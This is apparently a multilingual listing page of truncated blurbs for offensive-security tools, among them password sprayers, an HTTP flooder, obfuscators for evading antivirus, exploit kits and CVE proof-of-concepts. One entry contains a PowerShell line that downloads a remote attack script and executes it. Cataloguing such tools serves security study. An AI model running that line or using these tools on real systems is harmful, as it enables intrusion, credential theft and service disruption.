antivmdetection

Antivmdetection Background Uno script per aiutarti a creare template, che puoi usare con VirtualBox per rendere più difficile il rilevamento delle VM. Il mio primo post sull'argomento risale al 2012 ed è stato aggiornato sporadicamente in seguito. Il formato blog potrebbe non essere stato il modo...

TakeOver-v1

TakeOver-v1 Cos'è il Subdomain Takeover? Il Subdomain Takeover è un tipo di vulnerabilità che si verifica quando un sottodominio punta a un servizio esterno che è stato eliminato o non è più in uso. Esempi comuni di questi servizi esterni includono Github, Heroku, Gitlab e Tumblr. In questo...

frida-snippets

& também exemplos de saída Índice Nativo Carregar módulo C/C++ Watchpoint de uso único Atividade de socket Interceptar open Executar comando shell Listar módulos Registar consulta SQLite Registar argumentos de método Interceptar módulo inteiro Despejar segmentos de memória Varrimento de memória...

radio-hackbox

SySS Radio Hack Box Il SySS Radio Hack Box è uno strumento software proof-of-concept per dimostrare le vulnerabilità di replay e keystroke injection della tastiera wireless Cherry B.Unlimited AES. Requisiti Raspberry Pi shield Radio Hack Box per Raspberry Pi un LCD, alcuni LED e alcuni pulsanti...

esp32_esp8266_attacks

Attacchi Wi-Fi su ESP32/ESP8266 Questo repository fa parte dei risultati di ricerca delASSET Research Group. Questo repository dimostra 3 attacchi Wi-Fi contro i popolari dispositivi IoT ESP32/8266: Zero PMK Installation CVE-2019-12587 - Dirottamento di client ESP32/ESP8266 connessi a reti...

ExploitVeer

CVE-2025-5777: Lo Scanner Definitivo 🚀 🔐 CVE: CVE-2025-5777 🚨 Severità: Critica 👨‍💻 Autore: Virendra Kumar & CyberLeelawat 📜 Licenza: MIT Uno strumento avanzato, potente e facile da usare, progettato per rilevare e sfruttare la CVE-2025-5777 alias CitrixBleed 2. Questo script non solo identifica la...

SniffAir

SniffAir SniffAir è un framework di sicurezza wireless open-source che offre la possibilità di analizzare facilmente dati wireless raccolti passivamente, oltre a lanciare sofisticati attacchi wireless. SniffAir gestisce la complessità legata alla gestione di file pcap grandi o multipli, incrocian...

CredMaster

CredMaster Avvia un attacco di password spray / brute force tramite proxy di pass-through Amazon AWS, cambiando l'indirizzo IP richiedente per ogni tentativo di autenticazione. Questo crea dinamicamente API FireProx per spray di password più elusivi. Un ringraziamento a @ustayready per i suoi...

onelinepy

onelinepy Python-Obfuskator für FUD Python-Code. Herunterladen und Ausführen root@kitploit: git clone https://github.com/spicesouls/onelinepy cd onelinepy chmod +x setup.sh ./setup.sh onelinepy Anleitung root@kitploit: | || | . | | -| | | | -| . | | |Python |||||||||| | |Obfuscator || || usage:...

onelinepy

onelinepy Python Obfuscator for FUD Python Code. Download & Run root@kitploit: git clone https://github.com/spicesouls/onelinepy cd onelinepy chmod +x setup.sh ./setup.sh onelinepy Usage Guide root@kitploit: | || | . | | -| | | | -| . | | |Python |||||||||| | |Obfuscator || || usage: oneline.py -...

typofinder

Cercatore di errori di digitazione nel dominio Typofinder per la scoperta di errori di digitazione nei domini Rilasciato come open source da NCC Group Plc - http://www.nccgroup.com/ Sviluppato da: Ollie Whitehouse, ollie dot whitehouse at nccgroup dot com Stephen Tomkinson, @neonbunny9 su twitter...

chromium-exploit-dev

Toolkit per lo Sviluppo di Exploit per Chromium Un toolkit per trasformare le vulnerabilità di Chromium in exploit affidabili, cross-platform e a catena completa. Panoramica Questo progetto fornisce un insieme di potenti script helper, ma richiede che tu fornisca le tue vulnerabilità. Sei...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Raccolte di Strumenti WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

CVE-2025-24813-PoC

CVE-2025-24813-PoC Script di rilevamento batch per la vulnerabilità di esecuzione remota di codice in Apache Tomcat CVE-2025-24813 Dichiarazione di esclusione di responsabilità: La vulnerabilità descritta in questo documento e le relative procedure di riproduzione sono fornite esclusivamente a...

NachoVPN

NachoVPN 🌮🔒 NachoVPN è una Proof of Concept che dimostra lo sfruttamento dei client SSL-VPN, utilizzando un server VPN rogue. Utilizza un'architettura basata su plugin, così che il supporto per prodotti SSL-VPN aggiuntivi possa essere contribuito dalla community. Attualmente supporta vari popolar...

PS5-UMTX-Jailbreak

PS5 UMTX Jailbreak Sommario Questo repository contiene un exploit WebKit ROP della vulnerabilità UMTX race use-after-free CVE-2024-43102 segnalata da Synacktiv. In pratica è un porting della strategia di exploit di fail0verflow e di flatz. Abusa della UAF per ottenere una mappatura di...

pwn_jenkins

Esecuzione di codice remoto Lettura arbitraria tramite Jenkins CLI la CVE-2024-23897 si applica alle versioni precedenti alla 2.442 e alla LTS 2.426.3 Avviso Jenkins, Crediti Con autenticazione, è possibile recuperare un file completo: root@kitploit: java -jar jenkins-cli.jar -noCertificateCheck ...

malware-samples

Campioni di Malware Questo repository ha lo scopo di fornire accesso a un'ampia varietà di file dannosi e altri artefatti. Tutti i campioni si trovano in un archivio ZIP protetto da password, la cui password è: infected Esercizi di Analisi del Malware Oltre a fornire artefatti provenienti dai...

PyFlooder

PyFlooder Uno script Python HTTP Flood che può fermare un normale sito web in 10 secondi Come funziona? Genera un numero configurabile di richieste GET casuali e le invia al bersaglio Utilizzo root@kitploit: pyflooder.py...

PasteJacker

PasteJacker Lo scopo principale dello strumento è automatizzare l'attacco PasteJacking/Clipboard poisoning/comunque lo si voglia chiamare raccogliendo tutti i trucchi conosciuti usati in questo attacco in un unico posto e in un unico lavoro automatizzato, poiché dopo aver cercato ho scoperto che...